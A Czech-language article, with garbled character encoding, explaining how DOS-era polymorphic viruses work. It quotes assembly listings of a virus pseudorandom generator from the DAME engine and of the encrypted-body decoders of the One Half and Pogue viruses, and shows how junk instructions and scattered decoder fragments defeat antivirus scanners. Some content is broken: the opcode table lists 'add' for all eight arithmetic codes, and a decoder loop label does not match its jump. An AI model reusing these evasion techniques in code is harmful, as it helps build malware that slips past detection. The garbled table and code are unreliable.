Konstrukce polymorfnφch vir∙
Polymorfnφ viry jsou bezesporu nejp°ita₧liv∞jÜφ skupinou vir∙. K≤d, kter² je schopen
poka₧dΘ jin²m zp∙sobem vygenerovat svΘ t∞lo, ji₧ podv∞dom∞ budφ zv∞davost a nabφzφ myÜlenkovou paralelu s
viry biologick²mi. I polymorfnφ virus je vÜak stßle pouh²m programem, kter² pracuje tak, jak byl programßtorem
sestaven.
Jßdrem polymorfnφch vir∙ je algoritmus k≤dovacφho a dek≤dovacφho mechanismu. Existujφ dva zßkladnφ druhy k≤dovacφch
mechanism∙:
Reverzibilnφ algoritmus
K≤der i dek≤der je integrovßn do jednoho mechanismu, pou₧itelnΘho pro oba ·Φely. Reverzibilita b²vß Φasto
nejΦast∞ji dosa₧ena pomocφ logickΘ operace xor. Reverzibilnφ algoritmus je v²hradn∞ pou₧φvßn viry semi-polymorfnφmi,
jejich₧ k≤dovßnφ je velice primitivnφ a stojφ na hierarchickΘm stupni v²voje pod viry pln∞ polymorfnφmi.
Nereverzibilnφ algoritmus
Nereverzibilnφ mechanismus mß separßtn∞ odd∞len² kodΘr i dekodΘ°. K≤dovßnφ je tvo°eno zejmΘna postupn²m a poka₧dΘ
jin²m sklßdßnφm v²poΦtu, kterΘ neumo₧≥uje identickΘ pou₧itφ pro dek≤dovßnφ.
Oba druhy k≤dovacφch mechanism∙ b²vajφ v t∞le viru proklßdßny nev²znamn²mi instrukcemi, kterΘ slou₧φ zejmΘna pro
znesnadn∞nφ detekce viru antivirov²mi programy, ale takΘ i pro p°φpadnΘ zajiÜt∞nφ prom∞nnΘ dΘlky viru.
Nezbytnou souΦßstφ polymorfnφch vir∙ je generßtor pseudonßhodn²ch Φφsel, kter² je viry
vyu₧φvßn pro nßhodn² v²b∞r pou₧itφ registr∙, mechanismu k≤dovßnφ apod. Generovßnφ pseudonßhodn²ch Φφsel
b²vß r∙znΘ, od p°φmΘho pou₧itφ hodnot aktußlnφho Φasu a₧ po rekurentnφ v²poΦty, pou₧φvajφcφ systΘmov² ΦasovaΦ.
V reßlnΘm sv∞t∞ se polymorfnφ viry vyskytujφ tΘm∞° v²hradn∞ v podob∞ vir∙ souborov²ch. Bootovacφ podoba polymorfnφch
vir∙ je velice vzßcnß (nap°. virus Zaraza), co₧ je dßno zejmΘna tφm, ₧e bootovacφ viry majφ pro svΘ maskovßnφ dostatek
p°φle₧itosti p°i zavßd∞nφ operaΦnφho systΘmu, kdy mohou vyu₧φvat p°φmΘ stealth techniky.
Princip implementace polymorfismu
Virov² polymorfismus je zalo₧en na dvou zßkladnφch principech instrukΦnφho souboru mikroprocesor∙ °ady INTEL, pou₧φvan²ch
v poΦφtaΦφch PC. VÜechny instrukce procesoru majφ definovanou masku s parametrick²m bitov²m polem, kterΘ up°es≥uje pracovnφ
operandy. Polymorfnφ viry vyu₧φvajφ prßv∞ tuto podobnost, je₧ jim zaruΦuje prßv∞ stejnß maska pro instrukce podobnΘho v²znamu.
P°φmß podobnost instrukcφ
P°φmß podobnost vyu₧φvß sousednosti instrukcφ v instrukΦnφm souboru. Nap°. hexadecimßlnφ hodnotou b8 zaΦφnß sekce instrukcφ
napl≥ujφcφ 16bitov² registr p°φm²m operandem:
b8h ... mov ax, "primy operand"
b9h ... mov cx, "primy operand"
bah ... mov dx, "primy operand"
bbh ... mov bx, "primy operand"
bch ... mov sp, "primy operand"
bdh ... mov bp, "primy operand"
beh ... mov si, "primy operand"
bfh ... mov di, "primy operand"
Tuto podobnost vyu₧φvß nap°. virus One Half (podrobn∞ji viz dßle) pro v²b∞r dek≤dovacφho registru.
Prost² souΦet hodnoty b8h a hodnoty nßhodnΘho Φφsla v rozsahu 0 a₧ 7 generuje p°φsluÜn² registr. K≤d bch
b²vß viry zapov∞zen, nebo¥ ukazatel na zßsobnφk je z pochopiteln²ch d∙vod∙ tabu.
╚asto vyu₧φvanou je podobnost push a pop instrukcφ:
50h ... push ax 58h ... pop ax
51h ... push cx 59h ... pop cx
52h ... push dx 5ah ... pop dx
53h ... push bx 5bh ... pop bx
54h ... push sp 5ch ... pop sp
55h ... push bp 5dh ... pop bp
56h ... push si 5eh ... pop si
57h ... push di 5fh ... pop di
Podobnost skupiny instrukcφ
V tomto p°φpad∞ se jednß o vφcebajtovΘ instrukce, kdy prvnφ bajt specifikuje skupinu instrukcφ
(aritmetickΘ operace, operace posuvu a rotacφ apod.) a a₧ druh² bajt urΦuje samotn² k≤d instrukce.
Druh² bajt instrukce mß definovan² bitov² tvar XXYYYZZZ, kde prvnφ dva bity XX udßvajφ m≤d, prost°ednφ
t°i bity YYY p°edstavujφ po₧adovanou instrukci a poslednφ t°i bity ZZZ specifikujφ operand (registr Φi pam∞t).
Pro polymorfismus jsou d∙le₧itΘ zejmΘna bity YYY aritmetick²ch operacφ, jejich₧ kombinace p°edstavujφ tyto instrukce:
000 ... add
001 ... add
010 ... add
011 ... add
100 ... add
101 ... add
110 ... add
111 ... add
Vymaskovßnφ, resp. nastavenφ bit∙ YYY na hodnotu nßhodnΘho Φφsla z intervalu 0 a₧ 7 op∞t generuje p°φsluÜnou instrukci.
Generßtor pseudonßhodn²ch Φφsel
SystΘmov² Φas, resp. ΦφtaΦ cykl∙ ΦasovaΦe 8253 pat°φ k zßkladnφm zp∙sob∙m, jak mohou polymorfn∞ zam∞°enΘ viry zφskat "nßhodnou" Φφselnou hodnotu.
╚asovaΦ taktuje ka₧d²ch 55 ms a jeho hodnota je viry zp°φstup≥ovßna zejmΘna p°es port 40h. DalÜφ mo₧nostφ
je ekvivalentnφ p°φmΘ Φtenφ z prom∞nnΘ BIOSu na adrese 0:046c.
Strukturou generßtoru charakterizuje ukßzka vybranß ze zdrojovΘho tvaru DAME (Dark Angel`s Multiple Engine) algoritmu. Obecnß podoba generßtoru b²vß tvo°ena dv∞ma
st∞₧ejnφmi Φßstmi: poΦßteΦnφ pseudonßhodnou inicializaΦnφ rutinou a rekurentnφm vzorcem pro vlastnφ v²poΦet pseudonßhodnΘho Φφsla.
Inicializace generßtoru pseudonßhodn²ch Φφsel.
init_rnd:
push dx ; uschova registru
push cx
push bx
mov ah, 2ch ; sluzba "Cti systemovy cas"
int 21h ; Obsazeni registru po provedeni sluzby:
; CH ... hodiny (0 az 23)
; CL ... minuty (0 az 59)
; DH ... sekundy (0 az 59)
; DL ... setiny sekund (0 az 99)
Pro n∞kterΘ viry je generßtor pseudonßhodn²ch Φφsel tvo°en pouze tφmto volßnφm. Virus Brain nap°. pou₧φvß
pro k≤dovßnφ xor-konstantu pouze hodnotu registru dl. Z rozsahu setin sekund je z°ejmΘ, ₧e virus m∙₧e vygenerovat
sto r∙zn∞ k≤dovan²ch tvar∙ virovΘho t∞la.
in al, 40h ; nacteni casovace
mov ah, al
in al, 40h ; nacteni casovace
xor ax, cx ; rozsireni na cely rozsah cisla integer
xor dx, ax ;
jmp short rnd_done ; skok na konec generatoru
V²poΦet pseudonßhodnΘho Φφsla.
get_rnd:
push dx ; uschova registru
push cx
push bx
in al, 40h ; nacteni casovace
db 05h ; add ax, hodnota patch1
patch1 dw 0 ; prvni rekurentni konstanta
db 0bah ; mov dx, hodnota patch2
patch2 dw 0 ; druha rekurentni konstanta
mov cx, 7 ; sedmipruchodova
rnd_loop: ; smycka
shl ax, 1 ; pro
rcl dx, 1 ; vypocet
mov bl, al ; pseudonahodneho
xor bl, dh ; cisla
jns lbl ;
inc al ;
lbl:
loop rnd_loop
rnd_done: ; ukonceni generovani
mov patch1, ax ; naplneni
mov patch2, dx ; rekurentnich konstant
mov al, dl ; "doladeni" vysledku
pop bx ; obnova registru
pop cx
pop dx
retn ; pseudonahodne cislo je v registru AX
V t∞le polymorfnφ Φßsti viru je pak generßtor volßn instrukcemi "call init_rnd" pro poΦßteΦnφ nastartovßnφ
generßtoru a "call get_rnd" pro zφskßnφ pseudonßhodnΘho Φφsla. ZφskanΘ pseudonßhodnΘ Φφslo je pak pro pot°ebu
danΘho maximßlnφho rozsahu 0 a₧ MAX o°ezßno instrukcφ "and ax, MAX", resp. "and al, MAX".
Semi-polymorfnφ reverzibilnφ algoritmus
ZnaΦnΘ mno₧stvφ vir∙ vyu₧φvß primitivnφ semi-polymorfnφ techniku k≤dovßnφ prost°ednictvφm logickΘ operace xor,
kterß umo₧nuje zak≤dovat a odk≤dovat dan² ·daj pomocφ stejnΘho klφΦe.
Uve∩me p°φklad. Nech¥ jsou dßny hexadecimßlnφ hodnoty k≤dovanΘho bajtu "ff" a (de)k≤dovacφho klφΦe "a1". Pak platφ:
ff xor a1 = 5e ... k≤dovßnφ
5e xor a1 = ff ... dek≤dovßnφ
Jak je vid∞t, po dvojφ aplikaci stejnΘho k≤dovacφho klφΦe obdr₧φme v²chozφ bajt. U t∞chto vir∙ m∙₧eme nejΦast∞ji nalΘzt
tuto typickou posloupnost instrukcφ, plnφcφ funkci dek≤dovacφ rutiny:
mov bx, adresa pocatku zakodovaneho tela
mov dl, (od)kodovaci xor-konstanta
mov cx, delka zakodovaneho tela v bajtech
vlasti_smycka:
xor cs:[bx], dl ; vlastni odkodovani
inc bx ; posun na dalsi zakodovany bajt
loop vlastni_smycka
Samoz°ejm∞, m∙₧e se liÜit pou₧itφ n∞kter²ch registr∙ Φi lze p°φpadn∞ dek≤dovat mφsto bajt∙ slova,
ale princip v₧dy z∙stßvß tent²₧. Uvedenß metoda je navφc velice v²hodnß z d∙vodu univerzßlnosti tΘto
rutiny jak pro k≤dovßnφ tak i pro dek≤dovßnφ.
K≤dovacφ konstanta je pseudonßhodnß, jejφ mo₧nosti byly naznaΦeny v p°edchozφ kapitole.
Mo₧nosti tΘto metody jsou siln∞ omezenΘ. Maximßlnφ mo₧nostφ, jak ztφ₧it detekovatelnost antivirov²mi scannery,
je proklßdßnφ k≤du nev²znamn²mi instrukcemi. Ve svΘ podstat∞ statickß dek≤dovacφ smyΦka umo₧≥uje vyhledßvat
tyto viry jednoduÜe pomocφ identifikaΦnφch virov²ch °etezc∙.
Na rozdφl od pln∞ polymorfnφch vir∙ je semi-polymorfismus hojn∞ vyu₧φvßn i bootovacφmi viry.
Polymorfnφ reverzibilnφ algoritmus
I pro pln∞ polymorfnφ viry je z programßtorskΘho hlediska pro dosa₧enφ reverzibility algoritmu nejsna₧Üφ,
a v podstat∞ i jedinou, mo₧nostφ pou₧itφ logickΘ operace xor. Virus One Half je u nßs jednφm z nejznßm∞jÜφch
p°edstavitel∙ tΘto skupiny. ┌vodnφ dek≤dovacφ smyΦka je slo₧enß nßv∞Ütφ, je₧ ka₧dΘ mß nßsledujφcφ strukturu:
V²konnß instrukce.
Nßhodn² poΦet nev²znamn²ch instrukcφ p°ed nebo za v²konnou instrukcφ.
Instrukce skouku na dalÜφ nßv∞Ütφ.
I po°adφ jednotliv²ch nßv∞Ütφ, je₧ jsou umis¥ovßna do t∞la infikovanΘho programu (!) generuje One Half nßhodn∞,
co₧ ·pln∞ znemo₧≥uje jeho detekci pomocφ b∞₧n²ch antivirov²ch scanner∙. Nev²znamn²mi instrukcemi jsou instrukce "nop",
"stc","clc","sti","cs:","ss:","ds:","cld","std","cmc". Tyto instrukce nemajφ vliv na vlastnφ b∞h dekodΘru, slou₧φ pouze
ke zmatenφ scanneru. Instrukce skoku jsou generovßny bu∩ typu "jmp nßv∞Ütφ" nebo "jmp short nßv∞Ütφ".
start: ; puvodni program (virovy lapac)
jmp go
db 1536 dup (0) ; velikostni vypln (1536=600h)
go:
int 20h
Infikovan² program, tvo°en² v naÜem p°φpad∞ pouze velikostnφ v²plnφ, je nßv∞Ütφmi dekodΘru tvrd∞ p°epsßn.
P°epsanΘ Φßsti jsou uschovßny v zak≤dovanΘm t∞le viru a p°ed pozd∞jÜφm p°edßnφm °φzenφ infikovanΘmu
programu virus zajiÜ¥uje jejich obnovu, tak₧e u₧ivatel za b∞₧n²ch okolnostφ nic nepoznß. Tento postup navφc vy°azuje
z Φinnosti odvirovacφ programy pracujφcφ na principu univerzßlnφho cleanu. LΘΦba takto zavirovan²ch program∙
b²vß realizovßna zejmΘna jedno·Φelov²mi programy.
start: ; zavirovany tvar
jmp lbl_5 ; skok na vstupni navesti dekoderu
db 542 dup (0) ; cast zavirovaneho programu
lbl_1: ; vlastni dekodovani
ss:
xor [si], di ; xor [indexovaci registr], dekodovaci registr
nop
jmp lbl_4
db 18 dup (0) ; cast zavirovaneho programu
lbl_2: ; otestovani priznaku ukonceni dekodovani
jnz lbl_1 ; jne lbl_1 nebo jnz lbl_1
stc
cs:
std
jmp virus_entry ; ukonceni dekodovani
db 47 dup (0) ; cast zavirovaneho programu
lbl_3:
pop ds ; pouze moznost pop ds
nop
jmp lbl_10
db 71 dup (0) ; cast zavirovaneho programu
lbl_4: ; akutualizace dekodovaci konstanty
add di, 2eefh ; add dekodovaci registr, konstanta
jmp short lbl_6
db 38 dup (0) ; cast zavirovaneho programu
lbl_5:
push ax ; pouze moznost push ax
stc
cld
jmp lbl_9
db 33 dup (0) ; cast zavirovaneho programu
lbl_6: ; posun na dalsi zakodovane slovo
ds:
stc
cs:
inc si ; inc indexovaci registr
jmp short lbl_7
db 9 dup (0) ; cast infikovaneho programu
lbl_7: ; test, je-li vse dekodovano
cmp si, 14ddh ; cmp indexovaci registr,
; offset pocatek_zakodovaneho_viru + delka viru
jmp lbl_2
db 142 dup (0) ; cast infikovaneho programu
lbl_8: ; uvodni naplneni dekodovaciho registru
mov di, 0ce3bh ; vyber dekodovaciho registru ax, bx, cx, dx, bp, si, di
; s ohledem na kolizi s indexovacim registrem
; a jeho naplneni pocatecni dekodovaci konstantou
cld
sti
cld
jmp lbl_1
db 50 dup (0) ; cast infikovaneho programu
lbl_9:
cld
cmc
push ss ; push cs nebo push ss
clc
jmp lbl_3
db 354 dup (0) ; cast infikovaneho programu
lbl_10: ; nastaveni pocatecniho mista pro dekodovani
mov si, 705h ; vyber indexovaciho registru bx, si, di
; a jeho naplneni hodnotou offset pocatek_zakodovaneho_viru
jmp lbl_8
db 164 dup (0) ; cast infikovaneho programu
Velikostnφ souΦet db-v²plnφ infikovanΘho programu Φinφ 1468 bajt∙, zbyl²ch 68 bajt∙ je dΘlka
samotnΘho dekodΘru.
go:
int 20h ; zbytek infikovaneho programu
pocatek_zakodovaneho_viru:
Zakodovane telo viru One Half
Pln∞ polymorfnφ mechanismus, na rozdφl od semi-polymorfnφch p°edch∙dc∙, zcela odsouvß do role statisty
antivirovΘ scannery pracujφcφ na principu virov²ch identifikaΦnφch °etezc∙. KlφΦem k detekci polymorfnφch vir∙
je heuristickß metoda anal²zy k≤du programu.
|
P°φklad souboru p°ed zavirovßnφm... |
|
...a po zavirovßnφ virem OneHalf.3544. VÜimn∞te si deseti krßtk²ch
programk∙, kterΘ jsou nßhodn∞ rozneseny p°ed samotn²m virem. Tyto progrßmky
jsou navzßjem propojeny skoky, a dohromady tvo°φ dek≤dovacφ rutinu. Na zmatenφ
antivir∙ jsou tyto krßtkΘ progrßmky plnΘ nic ned∞lajφcφch instrukcφ jako:
nop, stc, clc, sti, cs:, ss:, ds:, cld, std, cmc. |
Polymorfnφ nereverzibilnφ algoritmus
Podstatou nereverzibilnφch virov²ch mechanism∙ je postupnΘ sklßdßnφ k≤du, resp. pln∞nφ hodnot
p°φsluÜn²ch registr∙ provßd∞nφm dφlΦφch instrukcφ. Velice trefn²m p°irovnßnφm jsou
populßrnφ puzzle. Nap°. realizovat instrukci "add ax, 2" je mo₧nΘ nep°ebern²m mno₧stvφm variant kombinacφ
instrukcφ "inc","add","dec" a "sub":
inc ax inc ax add ax,4
inc ax add ax,1 sub ax,2
Stejn∞ tak i plnφcφ instrukci "mov ax, 606h" lze realizovat zaml₧ujφcφm postupem:
mov ax, 202h ; AX=202h
mov bx, 101h ; BX=101h
add ax, bx ; AX=303h
shl ax, 1 ; nasobeni dvema => AX=606h
Obdobn²m zp∙sobem mohou nereverzibiln∞ zam∞°enΘ viry modifikovat pou₧itφ skokov²ch instrukcφ prost°ednictvφm skok∙
p°es pomocnß nßv∞Ütφ, p°φp. instrukci cyklu "loop" mohou nahradit posloupnostφ instrukcφ "dec cx" a "jnz navesti_smycky" apod.
Dß se °φci, ₧e mo₧nosti jsou omezeny pouze fantaziφ a schopnostmi virov²ch pisatel∙.
Nereverzibilnφ mechanismy poskytujφ i pru₧n∞jÜφ prost°edky pro mo₧nost generovßnφ prom∞nnΘ dΘlky viru,
ne₧ je tomu v p°φpad∞ algoritm∙ reverzibilnφch.
Typick²m p°φkladem je nereverzibilnφ MtE mechanismus viru Pogue, infikujφcφ programy typu COM:
start:
dec bp ; priznak zavirovaneho souboru
jmp dekoder
... infikovany program ...
dekoder:
mov bp, 0a16ch ; bp=a16c
mov cl, 3
ror bp, cl ; bp=942d
mov cx, bp
mov bp, 856eh ; bp=856e
or bp, 740fh ; bp=f56f
mov si, bp
mov bp, 3b92h ; bp=3b92
add bp, si ; bp=3101
xor bp, cx ; bp=a52c
sub bp, 0b10ch ; bp=f420
Uvodnφ Φßst dekodΘru pouze maskuje v²znamov∞ jedinou instrukci "mov bp, 0f420h". Tato hodnota
slou₧φ v nßsledujφcφ smyΦce k bßzovΘ Φßsti adresy zak≤dovanΘho t∞la viru.
smycka:
mov bx, [bp + 0d23h] ; poprve - mov bx, [0143]
add bx, 9d64h ; vlastni dekodovani
xchg [bp + 0d23h], bx ; a opetovne ulozeni zpracovaneho slova
Virus refinovan∞ vyu₧φvß p°eteΦenφ v²sledku souΦtu hodnot bp a 0d23h; nastavenφ p°φznaku CF je v tomto
p°φpad∞ nepodstatnΘ.
mov bx, 8f31h
sub bx, bp ; 9b11
mov bp, 8f33h
sub bp, bx ; bp=f422 (tj. add bp,2)
jnz smycka
Instrukce posunu algoritmu na dalÜφ zak≤dovanΘ slovo ("add bp, 2") je op∞t zamaskovßna.
PoΦßteΦnφ bßzovß hodnota f420h nenφ nßhodnß, ale je vybrßna s ohledem na po₧adovan² poΦet 1520 iteracφ,
co₧ odpovφdß, vzhledem ke slovnφm operacφm, velikosti 3040 B zak≤dovanΘ Φßsti viru. Hodnota je dßna
v²razem (64 kB - f420 + 1) / 2 = 1520.
mov bx, bp
mov cl, 3
ror bx, cl
Zßv∞reΦnß Φßst dekodΘru je slo₧ena z nev²znamn²ch instrukcφ, pomocφ nich₧ virus dosahuje prom∞nnΘ
dΘlky svΘho t∞la. Je zajφmavΘ sledovat, ₧e nev²znamn²mi instrukce nejsou pouze jednobajtovΘ
instrukce typu "nop" Φi "cmc", ale podstatn∞ komplikovan∞jÜφ konstrukce.
segment:0143
... zakodovana cast tela viru Pogue ...